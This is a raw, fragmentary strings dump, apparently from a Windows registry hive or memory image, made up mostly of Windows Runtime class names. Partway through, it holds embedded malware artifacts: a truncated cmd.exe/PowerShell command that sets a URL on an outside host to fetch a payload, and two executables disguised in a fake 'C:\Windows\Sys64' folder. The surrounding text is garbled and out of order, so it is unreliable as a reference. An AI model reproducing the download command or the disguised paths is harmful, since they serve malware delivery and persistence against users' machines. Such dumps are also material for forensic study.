Windows.Internal.ComposableShell.Multitasking.IconFactory
Windows.Internal.ComposableShell.Multitasking.LocalSwitchItemDataSource
Windows.Internal.ComposableShell.Multitasking.SwitchItemDataSource
Windows.Internal.ComposableShell.NarratorFocusManager
Windows.Internal.ComposableShell.NarratorFocusManagerSource
Windows.Internal.ComposableShell.OverlappedPositionerOption
Windows.Internal.ComposableShell.PopupMenuExperience
Windows.Internal.ComposableShell.PreferredTopMostZOrderOption
Windows.Internal.ComposableShell.PresentationRequest
Windows.Internal.ComposableShell.ProductConductor
Windows.Internal.Data.Activities.TaskFlowDataEngineBroker
Windows.Internal.Data.Activities.UserActivitySessionSnapshot
Windows.Internal.Desktop.ContactCardExperience
Windows.Internal.Desktop.ShareExperience
Windows.Internal.DeviceAssociationBroker
Windows.Internal.DeviceBackground
Windows.Internal.DeviceBroker
Windows.Internal.DeviceEnumerationHelper
Windows.Internal.Devices.Bluetooth.ObjectPushProfile.BluetoothOppPushClient
Windows.Internal.Devices.Input.DeviceSettings
Windows.Internal.Devices.Input.PenButtonListenerPartner
Windows.Internal.Devices.Input.PenDockListenerPartner
Windows.Internal.Devices.Input.PenTipToGlassListener
Windows.Internal.Devices.Scanners.Escl.ScanJob
Windows.Internal.Devices.Scanners.Escl.Scanner
Windows.Internal.Devices.Scanners.Escl.ScanSettings
Windows.Internal.Devices.Sensors.FlipSensor
Windows.Internal.Devices.Sensors.FoldSensor
Windows.Internal.Devices.SmartCards.SmartCardSecureElementInternal
Windows.Internal.Diagnostics.NetworkInformationStatics
Windows.Internal.DialogBlocking.DialogBlockingManager
Windows.Internal.Eap.Utility.EapAttribute
Windows.Internal.Eap.Utility.EapMethodRunner
Windows.Internal.Eap.Utility.EapMethodRunnerOptions
Windows.Internal.Eap.Utility.EapSchannelUtil
Windows.Internal.Eap.Utility.EapTlsHandshakeOptions
Windows.Internal.Eap.Utility.EapTlsServerCertificateValidationArgs
Windows.Internal.Extensions.ApplicationModel.CardActivator
Windows.Internal.Extensions.ApplicationModel.CollectionAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.ContentDeliveryManagerAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.DismissActivator
Windows.Internal.Extensions.ApplicationModel.LegacyActivator
Windows.Internal.Extensions.ApplicationModel.NitroActivator
Windows.Internal.Extensions.ApplicationModel.RegistryActivator
Windows.Internal.Extensions.ApplicationModel.RoutingActivator
Windows.Internal.Extensions.ApplicationModel.SnoozeActivator
Windows.Internal.Extensions.ApplicationModel.SystemAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.UniversalAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.Win32AppInfoProvider
Windows.Internal.FamilySafety.AppTimeLimits
Windows.Internal.Feedback.CourtesyEngine
Windows.Internal.Feedback.FeedbackBrokerhbin
Windows.Internal.Gaming.GipControllerWatcher
Windows.Internal.Gaming.SWDDeviceStatics
Windows.Internal.GeotagBroker
Windows.Internal.Graphics.Display.DisplayColorManagement.DisplayColorManagement
Windows.Internal.Graphics.Display.DisplayColorManagement.DisplayColorManagementServer
Windows.Internal.Graphics.Display.DisplayEnhancementManagement.DisplayEnhancementManagement
Windows.Internal.HardwareConfirmator.HardwareConfirmatorHost
Windows.Internal.Holographic.UI.HolographicViewProperties
Windows.Internal.Input.MPCManager.MPCManagerClient
Windows.Internal.InputSettings.ImeSettingsDatabase
Windows.Internal.InputSwitch.InputSwitchControl
Windows.Internal.InstallService.Control.InstallServiceControl
Windows.Internal.KeyboardFilter.FilterRuleParser
Windows.Internal.KeyboardFilter.KeyboardFilterManager
Windows.Internal.Management.AlertDispatcher.DeviceManagementMessageStatics
Windows.Internal.Management.AlertListener.ProvAlertListener
Windows.Internal.Management.Container.ContainerManager
Windows.Internal.Management.Deployment.OSIntegration.DehRegistrationTable
Windows.Internal.Management.Deployment.OSIntegration.DehRequest
Windows.Internal.Management.Deployment.Preview.ClassicAppInfoInternal
Windows.Internal.Management.Deployment.StateHandlers.StateHandlersList
Windows.Internal.Management.Enrollment.Enroller
Windows.Internal.Management.Orchestration.SecureAssessmentPolicies
Windows.Internal.Management.Orchestration.SecureAssessmentUtilities
Windows.Internal.Management.Provision.ConfigurationData
Windows.Internal.Management.Provision.ConfigurationSessionManager
Windows.Internal.Management.Provision.SessionManager
Windows.Internal.Management.SecureAssessment.SecureAssessmentLockdown
Windows.Internal.Management.SecureAssessment.SecureAssessmentLockdownContext
Windows.Internal.Management.SecureAssessment.SecureAssessmentSystemInformation
Windows.Internal.MicrosoftGraphRecentItemInfo
Windows.Internal.MicrosoftGraphRecentItemKnownPropertyNames
Windows.Internal.MicrosoftGraphRecentItemsManagerExtension
Windows.Internal.MicrosoftGraphRecentItemsManagerRequestResult
Windows.Internal.Notifications.ToastActivatorSwitch
Windows.Internal.Notifications.ToastActivator_AppLaunch
Windows.Internal.Notifications.ToastActivator_Background
Windows.Internal.Notifications.ToastActivator_Collection
Windows.Internal.Notifications.ToastActivator_Foreground
Windows.Internal.Notifications.ToastActivator_Protocol
Windows.Internal.Notifications.WpnAppInfoAggregator
Windows.Internal.Notifications.WpnAppInfoProvider_Tdl
Windows.Internal.Notifications.WpnAppInfoProvider_UWP
Windows.Internal.Notifications.WpnClient
Windows.Internal.PlatformExtension.DevicePickerExperienceContract
Windows.Internal.PlatformExtension.MiracastBannerExperience
Windows.Internal.PlatformExtension.UserActivitySource.ShellUserActivitySource
Windows.Internal.PropertySystem.PropertySystemStatics
Windows.Internal.QuickActions.ControlCenterSettings
Windows.Internal.Security.Authentication.Aad.AadWamExtension
Windows.Internal.Security.Authentication.CloudId.CloudIdExtension
Windows.Internal.Security.Authentication.CloudId.CloudIdPolicy
Windows.Internal.Security.Authentication.CloudId.CloudIdWamExtension
Windows.Internal.Security.Authentication.CloudId.CloudIdWamExtensionForUser
Windows.Internal.Security.Authentication.CloudId.CloudIdWxhExtensionForUser
Windows.Internal.Security.Authentication.CloudId.MicrosoftAccountWxhAuthManager
Windows.Internal.Security.Authentication.CloudId.MicrosoftAccountWxhExtensionForUser
Windows.Internal.Security.Authentication.CloudId.ProvisionSsoAccountInternal
Windows.Internal.Security.Authentication.OnlineId.IdentityPropertiesForUser
Windows.Internal.Security.Authentication.OnlineId.MicrosoftAccountWAMExtension
Windows.Internal.Security.Authentication.OnlineId.MicrosoftAccountWAMExtensionForUser
Windows.Internal.Security.Authentication.OnlineId.TokenPropertiesForUser
Windows.Internal.Security.Authentication.OnlineId.TokenResponseDataForUser
Windows.Internal.Security.Authentication.Web.TBAccountManagerInternal
Windows.Internal.Security.Authentication.Web.TokenBrokerInternal
Windows.Internal.Security.Authentication.Web.WamObjectStoreManager
Windows.Internal.Security.Authentication.Web.WamProviderRegistration
Windows.Internal.Security.Authentication.Web.WamProviderRegistrationInformation
Windows.Internal.Security.Authentication.Web.WamProviderUtilities
Windows.Internal.Security.Authentication.Web.WebAuthenticationCoreInternalManager
Windows.Internal.Security.Authentication.XboxLive.XboxLiveTokenBrokerExtension
Windows.Internal.Security.Credentials.WebAccountInternal
Windows.Internal.Security.Credentials.WebAccountProviderInternal
Windows.Internal.Security.Cryptography.Core.SymmetricPopKey
Windows.Internal.Security.SmartScreen.AppReputationService
Windows.Internal.Security.SmartScreen.EventLogger
Windows.Internal.Security.SmartScreen.UriReputationService
Windows.Internal.Security.WebAuthentication.AuthenticationManager
Windows.Internal.Security.WebAuthentication.SystemAuthenticatorInternal
Windows.Internal.SecurityMitigationsBroker
Windows.Internal.Services.Cortana.CortanaPermissionsAppServiceManager
Windows.Internal.ServiceWorker.ServiceWorkerBackgroundTask
Windows.Internal.Shell.Adornment.Adornment
Windows.Internal.Shell.Animations.ShellAnimationCoordinator
Windows.Internal.Shell.AppRestore.AppRestoreOrchestrator
Windows.Internal.Shell.AppRestore.RestorableAppItemsManager
Windows.Internal.Shell.AppRestore.RestorableTileItemsManager
Windows.Internal.Shell.BlueLightReduction.BlueLightReductionManager
Windows.Internal.Shell.Capture.Desktop.CaptureDesktopItemProvider
Windows.Internal.Shell.Capture.Desktop.CapturePickerDesktopExperiencePolicy
Windows.Internal.Shell.CapturePicker.CapturePickerExperience
Windows.Internal.Shell.CapturePicker.CapturePickerItemDataSource
Windows.Internal.Shell.CDSProfile.Profile
Windows.Internal.Shell.CloudDesktop.TransitionScreen.TransitionScreen
Windows.Internal.Shell.CloudPCComponent
Windows.Internal.Shell.ConsentUx.ConsentUxManager
Windows.Internal.Shell.ConsentUx.ConsentUxRequestContext
Windows.Internal.Shell.ConsentUx.Details.ConsentUxService
Windows.Internal.Shell.ConsentUx.UnifiedConsentCoordinator
Windows.Internal.Shell.ConsentUx.UnifiedConsentState
Windows.Internal.Shell.CustomShell.CustomShellExperienceRepository
Windows.Internal.Shell.Desktop.DesktopShellApplicationStateContract
Windows.Internal.Shell.DesktopAppInstallerPrompt
Windows.Internal.Shell.DesktopTaskGroups.DesktopTaskGroupsSwitchItemController
Windows.Internal.Shell.DiscoverabilityManager
Windows.Internal.Shell.Experience.ShellExperience
Windows.Internal.Shell.Experience.ShellExperienceProperties
Windows.Internal.Shell.Experience.UserInformationInternal
Windows.Internal.Shell.FileExplorer.DefaultLocation
Windows.Internal.Shell.FocusSessionActiveTheme
Windows.Internal.Shell.FocusSessionOffTheme
Windows.Internal.Shell.FocusSessionThemeManager
Windows.Internal.Shell.Holographic.ContextIdentifier
Windows.Internal.Shell.JumpView.JumpViewBroker
Windows.Internal.Shell.JumpView.JumpViewExperienceWrapper
Windows.Internal.Shell.Popups.PopupClient
Windows.Internal.Shell.RemoteSystems.RemoteSystemProviderExtension
Windows.Internal.Shell.SharePicker.SharePickerBroker
Windows.Internal.Shell.ShareWindow.ShareWindowCommandTarget
Windows.Internal.Shell.ShellHandwriting.HandwritingComponentManager
Windows.Internal.Shell.SnapComponent.DesktopSnapLayoutManager
Windows.Internal.Shell.StartUI.StartExperience
Windows.Internal.Shell.StartUI.StartPlacesLauncher
Windows.Internal.Shell.StartUI.TileDragAndDropHelpers
Windows.Internal.Shell.StartUI.TileImageHelpers
Windows.Internal.Shell.StartUI.UserTileInfo
Windows.Internal.Shell.StartUI.UserTileMenu
Windows.Internal.Shell.TaskFlow.DataEngine.ActivityActivationHelper
Windows.Internal.Shell.TaskFlow.DataEngine.ActivityActivationInfo
Windows.Internal.Shell.TaskFlow.DataEngine.ActivityArbiter
Windows.Internal.Shell.TaskFlow.DataEngine.AppActivitySessionData
Windows.Internal.Shell.TaskFlow.DataEngine.AppActivitySessionListener
Windows.Internal.Shell.TaskFlow.DataEngine.AppViewActivitySessions
Windows.Internal.Shell.TaskFlow.DataEngine.AppViewExecutionData
Windows.Internal.Shell.TaskFlow.DataEngine.AppViewTitleChangeData
Windows.Internal.Shell.TaskFlow.DataEngine.ClipboardSignalListener
Windows.Internal.Shell.TaskFlow.DataEngine.FileActivityData
Windows.Internal.Shell.TaskFlow.DataEngine.FileActivityListener
Windows.Internal.Shell.TaskFlow.DataEngine.UserPresenceData
Windows.Internal.Shell.TaskGroups.DesktopTaskGroupsDataModelSingleton
Windows.Internal.Shell.TaskGroups.SnapLayoutEventArgs
Windows.Internal.Shell.TaskGroups.TaskGroupDataModel
Windows.Internal.Shell.TaskGroups.TaskGroupDataSourceAdapter
Windows.Internal.Shell.TaskGroups.TaskGroupManager
Windows.Internal.Shell.TaskGroups.TaskGroupProvider
Windows.Internal.Shell.TaskGroups.TaskGroupWindowInformation
Windows.Internal.Shell.UvcModel
Windows.Internal.Shell.UwpWindowLifecycleManagement.UwpWindowLifecycleManager
Windows.Internal.Shell.ViewManagerInterop.WindowEventDispatcher
Windows.Internal.Shell.WindowTabHost
Windows.Internal.Shell.XamlExplorerHost.XamlApplication
Windows.Internal.Shell.XamlExplorerHost.XamlApplication_WASDK
Windows.Internal.Shell.XamlExplorerHost.XamlExplorerHostChildWindow
Windows.Internal.Shell.XamlExplorerHost.XamlExplorerHostChildWindow_WASDK
Windows.Internal.ShellCommon.FilePickerExperienceMEM
Windows.Internal.ShellCommon.InputViewExperience.InputViewExperienceCommon
Windows.Internal.ShellCommon.ModalAccountsControlExperience
Windows.Internal.ShellCommon.ModalPrintExperience
Windows.Internal.ShellCommon.TokenBrokerModal
Windows.Internal.ShellCommon.UriExperienceLauncherModal
Windows.Internal.Signals.IntelligentFeatureRegistrationManager
Windows.Internal.Signals.SignalQueryManager
Windows.Internal.Signals.SignalRegistrationManager
Windows.Internal.SpeechRecognition.SystemSpeechRecognizerFactory
Windows.Internal.Spelling.RoamingDictionary
Windows.Internal.Spelling.RoamingDictionaryManager
Windows.Internal.StateRepository.Activation
Windows.Internal.StateRepository.AppExecutionAlias
Windows.Internal.StateRepository.AppExecutionAliasUser
Windows.Internal.StateRepository.AppExtension
Windows.Internal.StateRepository.AppExtensionHost
Windows.Internal.StateRepository.AppInfoFactoryBroker
Windows.Internal.StateRepository.AppInstaller
Windows.Internal.StateRepository.AppInstallerUri
Windows.Internal.StateRepository.Application
Windows.Internal.StateRepository.ApplicationBackgroundTask
Windows.Internal.StateRepository.ApplicationExtension
Windows.Internal.StateRepository.ApplicationIdentity
Windows.Internal.StateRepository.ApplicationProperty
Windows.Internal.StateRepository.ApplicationResourceResolver
Windows.Internal.StateRepository.AppService
Windows.Internal.StateRepository.AppUriHandler
Windows.Internal.StateRepository.AppUriHandlerGroup
Windows.Internal.StateRepository.AppUriHandlerLauncherInfo
Windows.Internal.StateRepository.AppxManifest
Windows.Internal.StateRepository.AutoUpdatePackage
Windows.Internal.StateRepository.Bundle
Windows.Internal.StateRepository.BundlePackage
Windows.Internal.StateRepository.ContentGroup
Windows.Internal.StateRepository.ContentGroupFile
Windows.Internal.StateRepository.CustomInstallWork
Windows.Internal.StateRepository.DefaultTile
Windows.Internal.StateRepository.DependencyGraph
Windows.Internal.StateRepository.DeploymentHistory
Windows.Internal.StateRepository.DynamicAppUriHandler
Windows.Internal.StateRepository.DynamicAppUriHandlerGroup
Windows.Internal.StateRepository.Enterprise
Windows.Internal.StateRepository.File
Windows.Internal.StateRepository.FileTypeAssociation
Windows.Internal.StateRepository.FileTypeAssociationLauncherInfo
Windows.Internal.StateRepository.HostRuntime
Windows.Internal.StateRepository.PackageSourceUri
Windows.Internal.StateRepository.PackageUser
Windows.Internal.StateRepository.PackageUserStatus
Windows.Internal.StateRepository.PkgExtension
Windows.Internal.StateRepository.PkgExtensionHost
Windows.Internal.StateRepository.PrimaryTile
Windows.Internal.StateRepository.PrimaryTileUser
Windows.Internal.StateRepository.PrimaryTileUserChangedEventArgs
Windows.Internal.StateRepository.PrimaryTileUserChangelog
Windows.Internal.StateRepository.PrimaryTileUserDataChange
Windows.Internal.StateRepository.PrimaryTileUserNotificationChannel
Windows.Internal.StateRepository.PrimaryTileUserNotifier
Windows.Internal.StateRepository.PrimaryTileView
Windows.Internal.StateRepository.Protocol
Windows.Internal.StateRepository.ProtocolLauncherInfo
Windows.Internal.StateRepository.SecondaryTile
Windows.Internal.StateRepository.SecondaryTileUser
Windows.Internal.StateRepository.SecondaryTileUserChangedEventArgs
Windows.Internal.StateRepository.SecondaryTileUserChangelog
Windows.Internal.StateRepository.SecondaryTileUserDataChange
Windows.Internal.StateRepository.SecondaryTileUserNotificationChannel
Windows.Internal.StateRepository.SecondaryTileUserNotifier
Windows.Internal.StateRepository.SecondaryTileView
Windows.Internal.StateRepository.SharedPackageContainer
Windows.Media.Audio.SpatialAudioFormatSubtype
Windows.Media.AudioFrame
Windows.Media.Capture.AppBroadcastBackgroundService
Windows.Media.Capture.AppBroadcastGlobalSettings
Windows.Media.Capture.AppBroadcastManager
Windows.Media.Capture.AppBroadcastPlugInManager
Windows.Media.Capture.AppBroadcastProviderSettings
Windows.Media.Capture.AppCapture
Windows.Media.Capture.AppCaptureAlternateShortcutKeys
Windows.Media.Capture.AppCaptureManager
Windows.Media.Capture.AppCaptureMetadataWriter
Windows.Media.Capture.AppCaptureSettings
Windows.Media.Capture.CameraCaptureUI
Windows.Media.Capture.CameraOptionsUI
Windows.Media.Capture.CapturedFrameControlValues
Windows.Media.Capture.Frames.MediaFrameSourceGroup
Windows.Media.Capture.GameBarServicesManager
Windows.Internal.StateRepository.Management.RepositoryManager
Windows.Internal.StateRepository.MrtApplication
Windows.Internal.StateRepository.MrtPackage
Windows.Internal.StateRepository.MrtSharedPri
Windows.Internal.StateRepository.MrtUserPri
Windows.Internal.StateRepository.NamedDependency
Windows.Internal.StateRepository.OptionalBundle
Windows.Internal.StateRepository.Package
Windows.Internal.StateRepository.PackageAppInstaller
Windows.Internal.StateRepository.PackageExtension
Windows.Internal.StateRepository.PackageExternalLocation
Windows.Internal.StateRepository.PackageFamily
Windows.Internal.StateRepository.PackageFamilyPolicy
Windows.Internal.StateRepository.PackageFamilyUser
Windows.Internal.StateRepository.PackageFamilyUserResource
Windows.Internal.StateRepository.PackageIdentity
Windows.Internal.StateRepository.PackageLocation
Windows.Internal.StateRepository.PackageMachineStatus
Windows.Internal.StateRepository.PackagePolicy
Windows.Internal.StateRepository.PackageProperty
Windows.Internal.StateRepository.PackageResourceResolver
Windows.Internal.StateRepository.SharedPackageContainerPackageFamily
Windows.Internal.StateRepository.TargetDeviceFamily
Windows.Internal.StateRepository.TileView
Windows.Internal.StateRepository.TileViewQueryFilter
Windows.Internal.StateRepository.User
Windows.Internal.StateRepository.UupProduct
Windows.Internal.StateRepository.UupProductPackage
Windows.Internal.StateRepository.XboxPackage
Windows.Internal.Storage.Cloud.BackupRestoreCoordination.BackupRestoreCoordinator
Windows.Internal.Storage.Cloud.Broker.CloudStoreBroker
Windows.Internal.Storage.Cloud.CloudStore
Windows.Internal.Storage.Cloud.Downloader.RestoreDownloader
Windows.Internal.Storage.ObservableItem
Windows.Internal.Storage.ObservableItemCollection
Windows.Internal.Storage.ObservableObjectFactory
Windows.Internal.Storage.Pickers.FilePickerConfiguration
Windows.Internal.Storage.Pickers.FilePickerHelpers
Windows.Internal.Storage.RecentItemHelpers
Windows.Internal.Storage.StorageFileStartExperience
Windows.Internal.Storage.StorageFileStartExperienceStaticsBrokered
Windows.Internal.Storage.StorageItemCommandFactory
Windows.Internal.Storage.ThumbnailCache.ThumbnailCache
Windows.Internal.Storage.ThumbnailCache.ThumbnailResult
Windows.Internal.Storage.Win32Broker
Windows.Internal.Sustainability.DeviceSettings.DeviceSettingsManager
Windows.Internal.Sustainability.EcoScore.EcoScoreManager
Windows.Internal.Sustainability.GridIntensityProvider
Windows.Internal.System.Profile.AppActivationPolicy
Windows.Internal.System.Profile.RegionPolicyEvaluator
Windows.Internal.System.RelativePanelDirectionTracker
Windows.Internal.System.TwoPanelFolioHingeDevicePosture
Windows.Internal.System.TwoPanelHingedDevicePosture
Windows.Internal.System.UserProfile.BrowserEngagementManager
Windows.Internal.System.UserProfile.GuidedSetupEligibility.GuidedSetupEligibilityManager
Windows.Internal.System.UserProfile.OneDriveEngagementManager
Windows.Internal.System.UserProfile.OobeZeroDayUpdate.OobeZdpPassthrough
Windows.Internal.System.UserProfile.OobeZeroDayUpdate.OobeZdpUdkApiInformation
Windows.Internal.System.UserProfile.ScoobeEligibility.ModalUserSetupEligibilityManager
Windows.Internal.System.UserProfile.ScoobeEligibility.RedirectionManager
Windows.Internal.System.UserProfile.UserProfileEngagementManager
Windows.Internal.Taskbar.BrowserMigration
Windows.Internal.Taskbar.PinnedAuxiliaryItems
Windows.Internal.Taskbar.PinnedWebsite
Windows.Internal.Taskbar.PinnedWebsites
Windows.Internal.Taskbar.PinnedWebsitesBroker
Windows.Internal.ThumbnailCache.ThumbnailCacheInternal
Windows.Internal.ThumbnailCache.ThumbnailResult
Windows.Internal.Tiles.MigrationHelper
Windows.Internal.Tiles.SecondaryTile
Windows.Internal.Tiles.SecondaryTileStore
Windows.Internal.Tiles.TileQueryFilter
Windows.Internal.Tiles.TileStore
Windows.Internal.UI.ApplicationSettings.AccountsControlBroker
Windows.Internal.UI.ApplicationSettings.AccountsControlData
Windows.Internal.UI.ApplicationSettings.AccountsControlIconCache
Windows.Internal.UI.ApplicationSettings.BubbleHeadData
Windows.Internal.UI.ApplicationSettings.SettingsData
Windows.Internal.UI.ApplicationSettings.WebAccountData
Windows.Internal.UI.ApplicationSettings.WebAccountProviderData
Windows.Internal.UI.Auth.Enrollment.CredentialEnrollmentManager
Windows.Internal.UI.NetworkUX.MBBUXViewProvider
Windows.Internal.UI.NetworkUX.NetworkIcon.NetworkIcon
Windows.Internal.UI.NetworkUX.VPNUXViewProvider
Windows.Internal.UI.NetworkUX.WiFiUXViewProvider
Windows.Internal.UI.NetworkUX.XamlRuntimeSiteProvider
Windows.Internal.UI.Notifications.QuietHoursSettingsInterop
Windows.Internal.UI.Shell.ActiveTabChangedEventArgs
Windows.Internal.UI.Shell.DesktopWindowTabExtension
Windows.Internal.UI.Shell.DesktopWindowTabManagerContractExtension
Windows.Internal.UI.Shell.WindowTab
Windows.Internal.UI.Shell.WindowTabBroker
Windows.Internal.UI.Shell.WindowTabDataModel
Windows.Internal.UI.Shell.WindowTabGroup
Windows.Internal.UI.Shell.WindowTabIcon
Windows.Internal.UI.Shell.WindowTabManager
Windows.Internal.UI.Shell.WindowTabsChangedEventArgs
Windows.Internal.UI.Shutdown.ShutdownUXViewModel
Windows.Internal.UI.SoftLanding.SoftLandingExperience
Windows.Management.Deployment.AutoUpdateSettingsOptions
Windows.Management.Deployment.CreateSharedPackageContainerOptions
Windows.Management.Deployment.DeleteSharedPackageContainerOptions
Windows.Management.Deployment.FindSharedPackageContainerOptions
Windows.Management.Deployment.Internal.ClientDeploymentQueueRequestInfoInternal
Windows.Management.Deployment.Internal.ClientMonikerInternal
Windows.Management.Deployment.Internal.DiskUsageInformation
Windows.Management.Deployment.Internal.PackageManagerInternal
Windows.Management.Deployment.Internal.PackageManagerRepairAclsInternal
Windows.Management.Deployment.Internal.PackageManagerStateCreationInternal
Windows.Management.Deployment.Internal.PackageOperation
Windows.Management.Deployment.PackageAllUserProvisioningOptions
Windows.Management.Deployment.PackageManager
Windows.Management.Deployment.Preview.ClassicAppManager
Windows.Management.Deployment.RegisterPackageOptions
Windows.Management.Deployment.RemovePackageOptions
Windows.Management.Deployment.SharedPackageContainerManager
Windows.Management.Deployment.SharedPackageContainerMember
Windows.Management.Deployment.StagePackageOptions
Windows.Management.Deployment.UpdateSharedPackageContainerOptions
Windows.Management.MdmAlert
Windows.Management.MdmSessionManager
Windows.Management.Policies.NamedPolicy
Windows.Management.Policies.NamedPolicyValue
Windows.Management.Provisioning.MgmtRefresh
Windows.Management.Provisioning.PackageCollection
Windows.Management.Provisioning.PackageManager
Windows.Management.Provisioning.ProvisioningMVUISelection
Windows.Management.Provisioning.ProvisioningMVUIStatus
Windows.Media.Devices.FocusSettings
Windows.Media.Devices.Internal.AudioDeviceBroker
Windows.Media.Devices.Internal.CallControlBroker
Windows.Media.Devices.MediaDevice
Windows.Media.Devices.ModuleCommandResult
Windows.Media.Devices.RegionOfInterest
Windows.Media.Devices.SystemAudioDeviceRoutingManager
Windows.Media.Devices.VideoDeviceController
Windows.Media.Devices.ZoomSettings
Windows.Media.DialProtocol.DialDevice
Windows.Media.DialProtocol.DialDevicePicker
pc:\windows\system32\cmd.exe/cpowershell-command"$url='http://voucher-01-static.com/rkei/
temRoot%\system32\mswsock.dl
Windows.Media.VideoEffects
Windows.Networking.Connectivity.RoutePolicy
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask
Windows.Networking.EndpointPair
Windows.Networking.HostName
Windows.Networking.NetworkOperators.ESimManager
Windows.Networking.NetworkOperators.HotspotAuthenticationContext
Windows.Networking.NetworkOperators.KnownCSimFilePaths
Windows.Networking.NetworkOperators.KnownRuimFilePaths
Windows.Media.VideoFrame
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask
Windows.Networking.BackgroundTransfer.Internal.WinVaultSchemaCreator
Windows.Networking.Connectivity.CellularApnContext
Windows.Networking.Connectivity.ConnectionProfileFilter
Windows.Networking.Connectivity.ConnectionSession
Windows.Networking.Connectivity.ConnectivityManager
Windows.Networking.Connectivity.NetworkInformation
Windows.Networking.Connectivity.NetworkInformationPrivate
Windows.Networking.NetworkOperators.MobileBroadbandModem
Windows.Networking.NetworkOperators.MobileBroadbandModemIsolation
Windows.Networking.NetworkOperators.NetworkOperatorTetheringAccessPointConfiguration
Windows.Networking.NetworkOperators.NetworkOperatorTetheringManager
Windows.Networking.NetworkOperators.NetworkOperatorTetheringSessionAccessPointConfiguration
Windows.Networking.NetworkOperators.ProvisioningAgent
Windows.Networking.NetworkOperators.TetheringEntitlementCheckPrivate
Windows.Networking.NetworkOperators.UssdMessage
Windows.Networking.NetworkOperators.UssdSession
Windows.Networking.Proximity.PeerFinder
Windows.Networking.Proximity.ProximityDevice
Windows.Networking.PushNotifications.PushNotificationChannelManager
Windows.Networking.PushNotifications.PushNotificationChannelManagerForUser
Windows.Networking.ServiceDiscovery.Dnssd.DnssdRegistrationResult
Windows.Networking.ServiceDiscovery.Dnssd.DnssdServiceInstance
Windows.Networking.ServiceDiscovery.Dnssd.DnssdServiceInstanceCollection
Windows.Networking.ServiceDiscovery.Dnssd.DnssdServiceWatcher
Windows.Networking.Sockets.ControlChannelTrigger
Windows.Networking.Sockets.DatagramSocket
Windows.Networking.UX.DACredUIInput
Windows.Networking.UX.EAPGenericIdentityInput
Windows.Networking.UX.EAPSimIdentityInput
Windows.Networking.UX.EAPTLSCertSelectInput
Windows.Networking.UX.EAPValidateServerCertInput
Windows.Networking.UX.EthernetAuthConfig
Windows.Networking.UX.Internal.DAMediaManager
Windows.Networking.UX.Internal.EapRequestHandler
Windows.Networking.UX.Internal.EthernetMediaManager
Windows.Networking.UX.Internal.MBMediaManager
Windows.Networking.UX.Internal.RasMediaManager
Windows.Networking.UX.Internal.WlanMediaManager
Windows.Networking.UX.MbConnectionProfile
Windows.Networking.UX.NetworkLocationInput
Windows.Networking.UX.NetworkUXManager
Windows.Networking.UX.PasswordChangeInput
Windows.Networking.UX.ProvisioningAgentHelper
Windows.Networking.UX.RasCredUIInput
Windows.Networking.UX.RasThirdpartyAuthTokenInput
Windows.Networking.UX.StaticIpConfig
Windows.Networking.UX.TextInput
Windows.Networking.UX.UserCredInput
Windows.Networking.UX.UXManager
Windows.Networking.UX.WcnPinInput
Windows.Networking.Vpn.VpnAppId
Windows.Networking.Vpn.VpnChannel
Windows.Networking.Vpn.VpnCredential
Windows.Networking.Vpn.VpnCustomCheckBox
C:\Windows\Sys64\intelservice.exeC
C:\Windows\Sys64\updater.exeC
Windows.Networking.Vpn.VpnPacketBuffer
Windows.Networking.Vpn.VpnPlugInProfile
Windows.Networking.Vpn.VpnProfile
Windows.Networking.Vpn.VpnRoute
Windows.Networking.Vpn.VpnRouteAssignment
Windows.Networking.Vpn.VpnTrafficFilter
Windows.Networking.Vpn.VpnTrafficFilterAssignment
Windows.Networking.XboxLive.XboxLiveDeviceAddress
Windows.Perception.Spatial.Internal.VirtualSpatialEntity
Windows.Perception.Spatial.Internal.VirtualSpatialEntityPredicate
Windows.Perception.Spatial.Internal.VirtualSpatialEntityStore
Windows.Perception.Spatial.Internal.VirtualSpatialEntityWatcherOptions
Windows.Perception.Spatial.Preview.SpatialGraphInteropPreview
Windows.Perception.Spatial.SpatialAnchor
Windows.Perception.Spatial.SpatialAnchorExporter
Windows.Perception.Spatial.SpatialAnchorManager
Windows.Perception.Spatial.SpatialAnchorTransferManager
Windows.Perception.Spatial.SpatialBoundingVolume
Windows.Security.Authentication.OnlineId.OnlineIdAuthenticator
Windows.Security.Authentication.OnlineId.OnlineIdServiceTicketRequest
Windows.Security.Authentication.OnlineId.OnlineIdSystemAuthenticator
Windows.Security.Authentication.Web.Core.FindAllAccountsResult
Windows.Security.Authentication.Web.Core.WebAuthenticationCoreManager
Windows.Security.Authentication.Web.Core.WebProviderError
Windows.Security.Authentication.Web.Core.WebTokenRequest
Windows.Security.Authentication.Web.Core.WebTokenRequestResult
Windows.Security.Authentication.Web.Core.WebTokenResponse
Windows.Security.Authentication.Web.Provider.WebAccountClientView
Windows.Security.Authentication.Web.Provider.WebAccountManager
Windows.Security.Authentication.Web.Provider.WebProviderTokenResponse
Windows.Security.Authentication.Web.WebAuthenticationBroker
Windows.Security.Authorization.AppCapabilityAccess.AppCapability
Windows.Security.Credentials.KeyCredential
Windows.Security.Credentials.KeyCredentialAttestationResult
Windows.Security.Credentials.KeyCredentialManager
Windows.Security.Credentials.KeyCredentialOperationResult
Windows.Security.Credentials.KeyCredentialRetrievalResult
Windows.Security.Credentials.PasswordCredential
Windows.Security.Credentials.PasswordCredentialPropertyStore
Windows.Security.Credentials.PasswordVault
Windows.Security.Credentials.UI.CredentialPicker
Windows.Security.Credentials.UI.CredentialPickerOptions
Windows.Security.Credentials.UI.UserConsentVerifier
Windows.Security.Credentials.WebAccount
Windows.Security.Credentials.WebAccountProvider
Windows.Security.Cryptography.Certificates.Certificate
Windows.Security.Cryptography.Certificates.CertificateEnrollmentManager
Windows.Security.Cryptography.Certificates.CertificateExtension
Windows.Security.Cryptography.Certificates.CertificateKeyUsages
Windows.Security.Cryptography.Certificates.CertificateQuery
Windows.Security.Cryptography.Certificates.CertificateRequestProperties
Windows.Security.Cryptography.Certificates.CertificateStores
Windows.Security.Cryptography.Certificates.ChainBuildingParameters
Windows.Security.Cryptography.Certificates.ChainValidationParameters
Windows.Security.Cryptography.Certificates.CmsAttachedSignature
Windows.Security.Cryptography.Core.AsymmetricAlgorithmNames
Windows.Security.Cryptography.Core.AsymmetricKeyAlgorithmProvider
Windows.Security.Cryptography.Core.CryptographicEngine
Windows.Security.Cryptography.Core.EccCurveNames
